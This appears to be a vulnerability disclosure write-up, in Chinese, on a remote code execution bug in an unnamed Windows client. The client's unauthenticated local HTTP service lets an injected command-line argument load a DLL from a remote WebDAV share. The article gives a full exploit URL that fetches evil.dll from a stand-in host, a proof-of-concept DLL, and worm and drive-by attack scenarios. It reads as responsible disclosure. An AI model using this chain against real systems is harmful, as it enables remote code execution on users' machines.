作者:0xcc
公眾號:非嘗咸魚販

這個公眾號一直都在寫 iOS 和 mac 相關的,這一篇來換一換口味。這個問題是某個第三方軟件的遠程代碼執行漏洞,結合了本地 TCP 端口的分析、Windows 的 URL Scheme 機制的知識,已經報給相關廠商進行修復。


一些 PC 端軟件通常會在本地監聽固定的端口,通過 http 服務的方式向任意瀏覽器提供后門調用。雖然方便了網頁前端開發,卻添加了新的攻擊面,甚至產生 Web 層面的安全漏洞。

首先使用 sysinternals 工具包里的 TCPView 可以觀察到一個第三方的系統服務在 0.0.0.0 上監聽了一個 TCP 端口。當然用系統自帶的 netstat 命令也可以。

用 IDA Pro 靜態分析后發現這是一個 http 服務:

C:\Users\haha>curl http://localhost:12345/getinfo -v
> GET /getinfo HTTP/1.1
> Host: localhost:11066
> User-Agent: curl/7.55.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html
< Server: SOME LocalWeb Server
< Content-Length: 64
< Accept-Ranges: bytes
< Access-Control-Allow-origin: *
< Connection: close
<


someclientinfo({"ver" : "10.12.2789.0" , "_ver" : 50180920})

這個服務不但沒有做任何鑒權,還設置了任意網站可訪問的 CORS 頭(Access-Control-Allow-origin: *),而且是一個 JSONP 的接口。

除了獲得版本之外,還有兩個接口用來在瀏覽器中拉起本地 PC 客戶端:

  • http://localhost:12345/startclient?cmd=someapp://

  • http://localhost:12345/pullclientjpg?cmd=someapp://

兩個接口看上去非常像。

它們都要求 cmd 參數是以 someapp:// 開始的字符串,如果滿足條件,就會傳遞給 ShellExecuteW 打開 URL Scheme。

區別在于,第一個接口(startclient)存在一個 bug。這個 http 服務是廠商在 C++ 上自行實現的,沒有用到功能更完備的庫,因此在處理一些參數的時候不能完全遵守 http 協議的行為。

startclient 接口使用 GET 獲取參數,卻沒有考慮 URL encode 解碼的問題。而 cmd 參數當中出現需要 URL 編碼的字符串的概率很大。估計是開發者也意識到了這個問題,保留這個接口用來兼容,但又實現了一個新的接口 pullclientjpg。

第二個接口行為基本一致,多了一層對 cmd 參數的解碼,解決了之前的 bug。這個接口將返回一個 1x1 像素的圖像。

通過網頁拉起特定客戶端可以使用 URL scheme 的方式,無論是桌面平臺還是手機,主流系統都提供了這種又被稱為 Universal Link 的機制。

因為涉及到應用切換,為了安全和用戶體驗考慮(不能被濫用彈窗),瀏覽器一般會警告用戶,要求確認操作。

上文提到的蟲洞顯然是為了規避這個對話框而設計。但由于 Windows 處理 Universal Link 存在歷史遺留的坑,導致了一個嚴重的遠程代碼執行問題。

Windows 平臺上的 URL Scheme 注冊方式和文件擴展名一樣都在注冊表。也可以用 ftype 命令查看關聯信息:

ftype telnet

由于歷史遺留的設計,而 Win32 程序傳遞 URL(這里需要和 UWP 區分,后者機制不同)是通過命令行參數傳遞的。

在默認關聯應用打開 URL 使用 ShellExecute* 系列函數,而這個函數也可以直接用來運行任意命令。再與 macOS 比較,現在 mac 上 URL 是 URL,命令行是命令行,涇渭分明。

這里給許多第三方應用程序開發者留下了一個坑。假如 URL 處理不當,很容易產生命令行參數注入問題。雖然 ShellExecute 并不像 system 那樣支持 shell 命令注入,但結合具體應用程序的業務邏輯,仍然有可能造成遠程代碼執行。

在本文的例子當中,someapp:// 對應的程序關聯如下:

C:\Program Files\SomeApp\someapp.exe "%1"

回到前文的 pullclientjpg 接口,這時候給 cmd 參數傳入一個帶引號的字符串將原始的參數閉合:

http://localhost:12345/pullclientjpg?cmd=%22%20-evilflag%3D%22AAA

將執行:

C:\Program Files\SomeApp\someapp.exe "someapp://" -evilflag="AAA"

cmd 參數里的引號和空格都被解碼后傳遞給應用程序,除了被截斷的 URL 之外,命令行多出來一個 -evilflag 參數。

那么這時候分析 WinMain 函數的調用,逐步走到檢查命令行參數的邏輯。如下是其中一部分命令行參數:

-writecookie

-delcookie

-preloadplayermodule

-minidump

-loadmodule

這個 -loadmodule 參數粗暴簡單,將對應的字符串傳給 LoadLibraryExW 加載運行。因此通過給 someapp:// 閉合添加惡意參數,就可以拉起 PC 端應用并加載任意路徑的 DLL。

到這里還需要用到 Windows 的一個特性就是 UNC Path。

Windows 系統可以通過 \servername\sharename 的方式訪問遠程服務器上共享的文件,由操作系統直接處理路徑和網絡通信,應用程序本身并不需要直接支持相關協議客戶端的功能。LoadLibrary 函數便可以通過 UNC 來直接下載并運行遠程的動態鏈接庫。

遠程共享的協議可以是 SMB 和 WebDAV。由于運營商出于安全考慮在公網上屏蔽了 SMB 相關端口,選擇這個協議只在局域網內蠕蟲傳播有效果。但 WebDAV 可以走 80(或者 443)端口,因此既可以做到主動傳播也可以掛馬。

串聯起來的效果就是,只要給這個服務發送一個構造好的 HTTP 請求,就會拉起客戶端,下載運行任意代碼。

http://localhost:12345/pullclientjpg?cmd=someapp://%22%20-loadmodule%20%22%5C%5Cexample.com%5Chaha%5Cevil.dll%22%20%22

DLL 的示例代碼如下,彈出對話框假裝只是 XSS 而已:

#include "stdafx.h"
#include <shellapi.h>

void poc()
{
  wchar_t wCmd[] = L"C:\\Windows\\System32\\calc.exe";
  MessageBoxA(NULL, "xss!", "alert", MB_ICONEXCLAMATION);

  STARTUPINFO si = { 0 };
  PROCESS_INFORMATION pi = { 0 };

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

  CreateProcessW(NULL, wCmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  ExitProcess(0);
}

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD  ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    poc();
    break;

  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

把這個 DLL 通過 smb 或者 WebDAV(推薦后者)發布即可。Windows 自帶的 IIS 就可以配置 WebDAV 服務器,步驟繁瑣,建議使用這個 Python 的實現:https://github.com/wolf71/TinyWebDav

前文提到這個 http 服務是監聽在 0.0.0.0 上的。所以攻擊向量可以是:

  1. 1-click 的瀏覽器釣魚。通過在網頁掛馬的形式感染受影響的客戶端。一個 就可以實現
  2. 0-click 蠕蟲傳播。在公網和局域網上直接批量掃描對應的端口并執行任意代碼

在軟件漏洞研究上,無論是攻擊還是防御,攻擊面都是一個很重要的因素。開發者設計這個功能的初衷可能是為了減少彈窗,提升用戶體驗,卻不巧增加了攻擊面。在引入一個功能的時候,不妨多想想帶來的風險和功能的實用性是否劃算?

這個漏洞可蠕蟲可掛馬,也利用到了 Windows 的一些特性,算是很典型的通過逆向挖 Web 洞的體驗。

出于負責任披露考慮,文中出現的具體端口、字符串等做了模糊化處理。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1558/